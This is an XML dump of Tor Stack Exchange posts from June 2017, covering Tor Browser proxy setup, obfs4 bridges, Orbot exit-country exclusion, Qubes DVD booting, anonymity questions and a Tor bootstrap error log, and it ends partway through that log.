  <row Id="15128" PostTypeId="2" ParentId="15127" CreationDate="2017-06-26T19:12:03.007" Score="1" Body="&lt;p&gt;First of all, you should be aware that using ssh offers very little, if any, privacy protection. I strongly recommend against it. See &lt;a href=&quot;https://tor.stackexchange.com/questions/10367/how-to-dissconnect-tor-browser-from-the-tor-network/10371#comment16980_10371&quot;&gt;this question&lt;/a&gt; for why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to reproduce the issue, appears to work fine here. I set it up like this: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;disabled addon Torbutton&lt;/li&gt;&#xA;&lt;li&gt;disabled addon TorLauncher&lt;/li&gt;&#xA;&lt;li&gt;set proxy port via environment &lt;code&gt;TOR_SOCKS_PORT=1234&lt;/code&gt; (assuming &lt;code&gt;ssh -D 1234 …&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;disabled launching Tor via environment &lt;code&gt;TOR_SKIP_LAUNCH=1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-26T19:12:03.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15129" PostTypeId="2" ParentId="15126" CreationDate="2017-06-26T21:06:33.780" Score="1" Body="&lt;p&gt;One key exchange is performed, the shared secret is streched using a &lt;a href=&quot;https://en.wikipedia.org/wiki/Key_derivation_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;Key Derivation Function (KDF)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-spec&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5.1.3. The &quot;TAP&quot; handshake&#xA;....&#xA;Once both parties have g^xy, they derive their shared circuit keys&#xA;and 'derivative key data' value via the KDF-TOR function in 5.2.1.&#xA;...&#xA;5.1.4. The &quot;ntor&quot; handshake&#xA;...&#xA;Both parties now have a shared value for KEY_SEED.  They expand this&#xA;into the keys needed for the Tor relay protocol, using the KDF&#xA;described in 5.2.2 and the tag m_expand.&#xA;...&#xA;5.2.1. KDF-TOR&#xA;...&#xA;From the base key material K0, they compute KEY_LEN*2+HASH_LEN*3 bytes of&#xA;derivative key data as&#xA;   K = H(K0 | [00]) | H(K0 | [01]) | H(K0 | [02]) | ...&#xA;...&#xA;5.2.2. KDF-RFC5869&#xA;&#xA;For newer KDF needs, Tor uses the key derivation function HKDF from&#xA;RFC5869, instantiated with SHA256.  (This is due to a construction&#xA;from Krawczyk.)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-26T21:06:33.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15130" PostTypeId="1" CreationDate="2017-06-26T21:20:16.130" Score="0" ViewCount="301" Body="&lt;p&gt;My laptops USB port are totally busted. I'm trying to make a Qubes boot disc (4.7Gb DVD+RW) using Debian. I've already tried &lt;code&gt;xfburn&lt;/code&gt; with default settings which didn't work. (I've had success with xfburn+debian ISOs before).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The laptop is fairly new, purchased 3yrs ago for $1100, Sony.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find any documentation on the qubes site about creating DVDRW mediums for qubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://qubesosmamapaxpa.onion/doc/installation-guide/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://qubesosmamapaxpa.onion/doc/installation-guide/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than frustrate myself, I'm hoping someone can help me out with this.&lt;/p&gt;&#xA;" OwnerUserId="18090" LastActivityDate="2021-12-04T01:04:15.370" Title="How to Qubes CD boot?" Tags="|qubes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15132" PostTypeId="2" ParentId="15118" CreationDate="2017-06-27T03:58:59.787" Score="0" Body="&lt;p&gt;Don't know which country you're from but yeah, it sucks to end up in a situation like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were you, I'd approach whoever received this fake email and honestly explain to him the situation. You'll have to make it clear that this hate mail did not, in fact originate from anyone that work in the organization/company you are from. Also explain to them how Tor work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, you mentioned that your 'email id' was hacked by a third party, but you didn't specify what kind of email system you're using. Assuming you are using a commercial email system, that indicate either your password is weak or your computer that handles email was compromised by malware. If you still have access to the mailbox, either change password immediately or cancel it to prevent further exploits from happening. If you're using your organization's own email system, then your IT guy need to patch it up immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails, you'll have no choice but cooperating with law enforcement. If you can identify the computer(s) that were compromised by hacker, make sure you prevent anyone from accessing them, you never know hacker might leave trails on them that may exonerate you and your company's name!&lt;/p&gt;&#xA;" OwnerUserId="17930" LastActivityDate="2017-06-27T03:58:59.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15133" PostTypeId="1" CreationDate="2017-06-27T04:27:07.863" Score="2" ViewCount="2820" Body="&lt;p&gt;I've attempted to use six different obfs4 bridge relays and according to the tor log the connection is terminated. using obfs3 does work. any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!! &lt;/p&gt;&#xA;" OwnerUserId="18093" LastActivityDate="2017-09-14T10:15:00.497" Title="Tails 3.0 blocks connection to ANY obfs4 bridge" Tags="|tails|bridge|obfs4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15134" PostTypeId="2" ParentId="15130" CreationDate="2017-06-27T08:19:15.307" Score="1" Body="&lt;p&gt;Qubes-R3.2-x86_64.iso is equipped with an El Torito boot record and&#xA;boot images for BIOS and UEFI. So it should boot from DVD if burned as&#xA;image without any further data manipulation. If it then shows messages &#xA;of SYSLINU/ISOLINUX or GRUB, then booting has succeeded as far as&#xA;the DVD boot equipment is concerned. (It may then well fail because&#xA;the operating system in the ISO is not suitable for the machine.)&lt;/p&gt;&#xA;" OwnerUserId="18097" LastActivityDate="2017-06-27T08:19:15.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15135" PostTypeId="2" ParentId="15133" CreationDate="2017-06-27T08:48:53.083" Score="3" Body="&lt;p&gt;Make sure your time zone and time settings are correct, if your system clock time is off, obfs4 will fail to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails automatically synchronize time upon start, but sometimes the time synchronization may fail(the OS notify you when that happens). I'm not sure which timezone you're in, however, as a last resort, if you own the computer you're using and it has another operating system, try to log onto it, first make sure your computer's local time is correct, then change your computer's timezone to 'UTC' that is universal coordinated time, restart your computer and boot from tails.  obfs4 bridges will now work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps. &lt;/p&gt;&#xA;" OwnerUserId="17930" LastActivityDate="2017-06-27T08:48:53.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15136" PostTypeId="1" AcceptedAnswerId="15139" CreationDate="2017-06-27T15:57:31.590" Score="0" ViewCount="1433" Body="&lt;p&gt;I'm trying to set Orbot up not to exit in certain countries, eg, United States. However, if I set it to exclude &lt;code&gt;United States&lt;/code&gt; or similar, Orbot refuses to connect to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to apply TLD's (&lt;code&gt;.us&lt;/code&gt;), ISO 3166-formatted country codes, short- and longnames both with and without quotes, but still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the idea is to only exclude single fingerprints, then it's going to take a while to exclude them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orbot v15.4.1-RC-1-multi on Android 7.1.2&lt;/p&gt;&#xA;" OwnerUserId="18103" LastActivityDate="2017-06-27T18:13:55.387" Title="Orbot: can't exclude exit country" Tags="|orbot|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15138" PostTypeId="1" AcceptedAnswerId="15160" CreationDate="2017-06-27T16:55:13.613" Score="0" ViewCount="3022" Body="&lt;p&gt;In response to the blocking of Tor in even more countries and organisations, I decided to set up a (private) bridge. I would like the bridge to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;be accessible to users with strict outgoing connection filtering (in particular, blocking of access to non-standard ports)&lt;/li&gt;&#xA;&lt;li&gt;be as difficult to discover as possible (consider scanning of known ports for Tor protocol)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What would be the configuration of the bridge to best address these goals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What numbers to choose for OR and obfs4proxy ports?&lt;/li&gt;&#xA;&lt;li&gt;Does opening a DIR port on a bridge make sense, and if yes, on which port?&lt;/li&gt;&#xA;&lt;li&gt;Which ports to forward on the router?&lt;/li&gt;&#xA;&lt;li&gt;Does using IPv6 provide any benefit over just IPv4?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/6370/how-to-run-an-obfs4-bridge&quot;&gt;How to run an obfs4 bridge?&lt;/a&gt; provides some highlights but does not exactly answer the questions I have.&lt;/p&gt;&#xA;" OwnerUserId="4967" LastEditorUserId="4967" LastEditDate="2017-06-29T13:13:10.300" LastActivityDate="2017-06-29T13:27:37.287" Title="Optimal configuration for an obfs4 bridge" Tags="|configuration|bridge|censorship|pluggable-transports|obfs4proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15139" PostTypeId="2" ParentId="15136" CreationDate="2017-06-27T18:13:55.387" Score="1" Body="&lt;p&gt;You need to use curly brackets like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{us},{gb}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The syntax corresponds to the one of &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExcludeNodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExcludeNodes in torrc&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-27T18:13:55.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15141" PostTypeId="1" CreationDate="2017-06-27T21:16:31.853" Score="1" ViewCount="90" Body="&lt;p&gt;from the Application Log: Snip&gt;&gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Faulting application name: firefox.exe, version: 52.2.0.6242, time stamp: 0x00000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Faulting module name: KERNELBASE.dll, version: 10.0.15063.296, time stamp: 0x28e9cf15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exception code: 0xc06d007f&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;&amp;lt;&#xA;&#xA;&lt;p&gt;Win 10, HP Pavillion, i5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have re-installed tor Browser with no succes. Any help regarding the error above greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also getting a bunch of active Directory issues. I do not us AD!! This is strictly a home computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any connection?&lt;/p&gt;&#xA;" OwnerUserId="18052" LastActivityDate="2017-06-27T21:16:31.853" Title="TBB will not lauch, Firefox Failure" Tags="|tor-browser-bundle|firefox|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15143" PostTypeId="1" CreationDate="2017-06-28T00:26:30.917" Score="1" ViewCount="337" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AEGF0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AEGF0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;My goal is to get a clear sense of what is required to maintain anonymity.  In a sense I'm mapping the flow of traffic in my head and trying to understand how certain traffic might interact in ways that aren't obvious.&#xA;This is to say nothing for topics such as statistical analysis and analyzing totally disparate traffic streams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I've seen a number of people answer questions about Tor Browser and P2P and I want to know if I've correctly identified erroneous thinking.  Here's what I've understood:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Q: Where does encryption and connection begin? Your ISP is your ISP.  Unless your connection begins elsewhere then that is the point of concern. Tor connection runs encrypted through your ISP. Using other programs in conjunction should generally not affect anonymity of Tor Browser.  Basically all the Tor traffic is anonymous. The traffic from another browser or program may be unencrypted.  Encryption has to begin on the system you are using. So there are several handshakes between different relays.  What does my ISP see?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My first concern here is that when I use Test Tor Network settings (about:tor), I do get various IPs that are not assigned by my provider.  However, after entering several urls directly, with Google as search provider, I was directed to a captcha at Google asking to identify as a human, showing my IP.  At first I thought that it was my actual IP but I realized it was various changing IPs including IPv4 and v6 (Onion menu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ignored them and I can go to google.com search page with TLS 1.2, but once I enter a search query, whether from this page or url bar, I am directed to either the captcha, or if I ignored the captcha, then I get&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our systems have detected unusual traffic from your computer network. Please try your request again later. Why did this happen? (link)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I should keep answering captchas identifying my address to Google, or if this is unnecessarily paranoid because I'm just letting Google know that it is legit traffic.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;My connection with my ISP isn't private.  For that would I have to configure a VPN directly from my cable modem, meaning all my headers would look like a connection from me to VPN and that's it?  Or what would this mean?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;As mentioned any program outside Tor Browser is operating normally.  A lot of people have asked about torrents. This would run from the client and is not private. But I understand PHE (protocol header encryption) options are available for different clients.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How are layers added to my anonymity? 1. I'm on my computer 2. using Tor Browser 3. insert VPN 4. What if My VPN is at 2 and Tor is at 3, what does my ISP see?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I created a mail account I use only with Tor.  All accounts I use are separate from those I use on other browsers.  Although I use a password mgmt pluggin. I think I should also avoid logging in from Tor with the same account.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are some ways to analyze my traffic and remain anonymous while doing so?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Realized there is a lot I don't understand.  If anyone could deliver answers in an ordered list to paint a picture of how this works that would be great.  I will continue reading documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also links are appreciated.&lt;/p&gt;&#xA;" OwnerUserId="18109" LastEditorUserId="18109" LastEditDate="2017-06-28T00:38:43.533" LastActivityDate="2017-06-28T00:38:43.533" Title="Clarification of Risks to Anonymity" Tags="|anonymity|vpn|deanonymization|traffic-analysis|" AnswerCount="0" CommentCount="1" ClosedDate="2017-06-28T19:35:12.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="15144" PostTypeId="1" CreationDate="2017-06-28T02:07:58.173" Score="1" ViewCount="135" Body="&lt;p&gt;When using tbb,every time I visit Doileak.com,it says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your SSL Requests come from a different IP than your Non SSL requests.&#xA;  Your Proxy seems not to support SSL, which is dangerous as the proxy&#xA;  can read and modify all your traffic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And ipcheck(jondonym) also says the simillar thing.(not always but sometimes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I should use https if possible,when using tor.&#xA;Was I wrong?&lt;/p&gt;&#xA;" OwnerUserId="18111" LastEditorUserId="88" LastEditDate="2017-07-04T19:58:39.700" LastActivityDate="2017-07-04T19:58:39.700" Title="SSL Requests from a different IP than Non SSL requests" Tags="|https|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15148" PostTypeId="2" ParentId="15144" CreationDate="2017-06-28T19:23:00.250" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Your SSL Requests come from a different IP than your Non SSL requests. Your Proxy seems not to support SSL, which is dangerous as the proxy can read and modify all your traffic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Looks to me like Doileak hasn't been designed for the use with Tor Browser. When I look at the results, it shows me 2 or more different IPs. If I check them on &lt;a href=&quot;https://atlas.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;atlas&lt;/a&gt;, they are all Tor IPs. You can also compare them with your actual IP, they'll differ.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I thought I should use https if possible,when using tor. Was I wrong?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you should use HTTPS whenever possible (not just on Tor)&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-28T19:23:00.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15149" PostTypeId="1" AcceptedAnswerId="15152" CreationDate="2017-06-28T20:05:29.347" Score="0" ViewCount="111" Body="&lt;p&gt;I recently become interested in researching about the Tor network and as I read, there are 9 directory authorities which are hard-coded into the Tor software and they are like phone-book which gives the client a random list of tor relays and servers and a list of them is also available at : &lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/#search/flag:authority&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other document I read about if all of this Directory Servers become compromised then relays work as a cache to give the clients a list of Tor servers so it is probably not possible to shutdown Tor network completely without Directory Authorities (another article said that clients also have a small cache of Tor Servers addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is what could they do to circumvent filtering of above addresses in countries which completely filter Tor Network traffic ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words what do obfuscation methods (like obfs4) do to get a list of Tor relays and servers when the above hard-coded addresses is censored and the client never talks to Directory Authorities before ?&lt;/p&gt;&#xA;" OwnerUserId="18125" LastActivityDate="2017-06-28T21:22:54.647" Title="Circumvent methods when Directory Authorities censored" Tags="|obfs4|" AnswerCount="1" CommentCount="0" ClosedDate="2017-06-30T17:41:19.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="15152" PostTypeId="2" ParentId="15149" CreationDate="2017-06-28T21:22:54.647" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In other document I read about if all of this Directory Servers become compromised then relays work as a cache to give the clients a list of Tor servers so it is probably not possible to shutdown Tor network completely without Directory Authorities (another article said that clients also have a small cache of Tor Servers addresses).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are a few Directory mirrors hard-coded, &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15775&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket #15775&lt;/a&gt;/&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/scripts/maint/fallback.whitelist&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;. They are there to spread load on the authorities though. Yes, client use caches of sorts. More precisely, they have directory guards &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6526&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket #6526&lt;/a&gt;/&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/207-directory-guards.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;spec&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So my question is what could they do to circumvent filtering of above addresses in countries which completely filter Tor Network traffic?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bridges is probably still the best option. I guess it can be a bit hard to obtain bridge descriptors if Tor is blocked but I'm not aware of a better solution.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In other words what do obfuscation methods (like obfs4) do to get a list of Tor relays and servers when the above hard-coded addresses is censored and the client never talks to Directory Authorities before?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The directory information is fetched via bridge. The source of it doesn't matter as long as the signature is valid.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-28T21:22:54.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15154" PostTypeId="1" CreationDate="2017-06-29T00:22:36.863" Score="0" ViewCount="242" Body="&lt;p&gt;my chinese wife is spying/monitoring and blocking my internet access with what I guess is some sort of 'child monitoring' software. (...she blocked my porn..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think it works directly with our in-home router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will Tor help with that, or will she still know?&lt;/p&gt;&#xA;" OwnerUserId="18131" LastActivityDate="2017-06-29T19:23:13.413" Title="Will Tor prevent internetal monitoring via our router?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ClosedDate="2017-07-03T08:50:28.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="15155" PostTypeId="1" CreationDate="2017-06-29T02:58:57.293" Score="0" ViewCount="197" Body="&lt;p&gt;I am using tails under a VM. I am having problems when the keyboard buffer sharing stops working, and I have looked into the process list and I see two instances of the spice /usr/bin/spice-vdagent. One of them is owned by the currently logged in user amnesia and the other is owned by the the Debian-gdm user. And each user has their own Xserver running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal? Why doesn't the Debian-gdm user die after login? Is there a way to make it exit? Logging in as root and killall -u Debian-tor helps, but is there another way?&lt;/p&gt;&#xA;" OwnerDisplayName="user18132" LastActivityDate="2017-06-29T02:58:57.293" Title="How to kill Debian-gdm user processes?" Tags="|tails|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15156" PostTypeId="1" CreationDate="2017-06-29T04:56:35.923" Score="1" ViewCount="1348" Body="&lt;pre&gt;&lt;code&gt;29-Jun-17 9:52:05 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 9:52:05 AM.400 [NOTICE] Switching to guard context &quot;bridges&quot; (was using &quot;default&quot;) &#xA;29-Jun-17 9:58:08 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 9:58:08 AM.300 [NOTICE] Switching to guard context &quot;default&quot; (was using &quot;bridges&quot;) &#xA;29-Jun-17 9:58:08 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 9:58:08 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 9:58:08 AM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 9:58:08 AM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;29-Jun-17 9:58:08 AM.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;29-Jun-17 10:00:08 AM.900 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;29-Jun-17 10:04:32 AM.300 [WARN] Problem bootstrapping. Stuck at 15%: Establishing an encrypted directory connection. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host B84F248233FEA90CAD439F292556A3139F6E1B82 at 85.248.227.164:9002) &#xA;29-Jun-17 10:04:32 AM.300 [WARN] 9 connections have failed: &#xA;29-Jun-17 10:04:32 AM.300 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;29-Jun-17 10:04:32 AM.300 [WARN]  3 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;29-Jun-17 10:04:32 AM.300 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;29-Jun-17 10:11:54 AM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 10:11:54 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:11:54 AM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 10:11:54 AM.800 [WARN] Problem bootstrapping. Stuck at 15%: Establishing an encrypted directory connection. (DONE; DONE; count 11; recommendation warn; host 74A910646BCEEFBCD2E874FC1DC997430F968145 at 199.254.238.52:443) &#xA;29-Jun-17 10:11:54 AM.800 [WARN] 11 connections have failed: &#xA;29-Jun-17 10:11:54 AM.800 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;29-Jun-17 10:11:54 AM.800 [WARN]  4 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;29-Jun-17 10:11:54 AM.800 [WARN]  2 connections died in state connect()ing with SSL state (No SSL object) &#xA;29-Jun-17 10:11:57 AM.300 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;29-Jun-17 10:12:48 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:12:48 AM.600 [NOTICE] Switching to guard context &quot;bridges&quot; (was using &quot;default&quot;) &#xA;29-Jun-17 10:12:48 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:12:48 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:12:48 AM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 10:13:10 AM.200 [WARN] Problem bootstrapping. Stuck at 15%: Establishing an encrypted directory connection. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 12; recommendation warn; host 0000000000000000000000000000000000000000 at 60.16.182.53:9001) &#xA;29-Jun-17 10:13:10 AM.300 [WARN] 11 connections have failed: &#xA;29-Jun-17 10:13:10 AM.300 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;29-Jun-17 10:13:10 AM.300 [WARN]  4 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;29-Jun-17 10:13:10 AM.300 [WARN]  2 connections died in state connect()ing with SSL state (No SSL object) &#xA;29-Jun-17 10:13:53 AM.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 10:13:53 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:13:53 AM.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 10:17:16 AM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:17:16 AM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:17:16 AM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:17:16 AM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 10:17:32 AM.300 [WARN] Problem bootstrapping. Stuck at 15%: Establishing an encrypted directory connection. (IOERROR; IOERROR; count 13; recommendation warn; host A17A40775FBD2CA1184BF80BFC330A77ECF9D0E9 at 128.105.214.163:8080) &#xA;29-Jun-17 10:17:32 AM.300 [WARN] 13 connections have failed: &#xA;29-Jun-17 10:17:32 AM.300 [WARN]  5 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;29-Jun-17 10:17:32 AM.300 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;29-Jun-17 10:17:32 AM.300 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;29-Jun-17 10:17:35 AM.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 10:17:35 AM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29-Jun-17 10:17:35 AM.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;29-Jun-17 10:17:35 AM.100 [WARN] Problem bootstrapping. Stuck at 15%: Establishing an encrypted directory connection. (DONE; DONE; count 14; recommendation warn; host FC562097E1951DCC41B7D7F324D88157119BB56D at 128.105.214.162:8080) &#xA;29-Jun-17 10:17:35 AM.100 [WARN] 14 connections have failed: 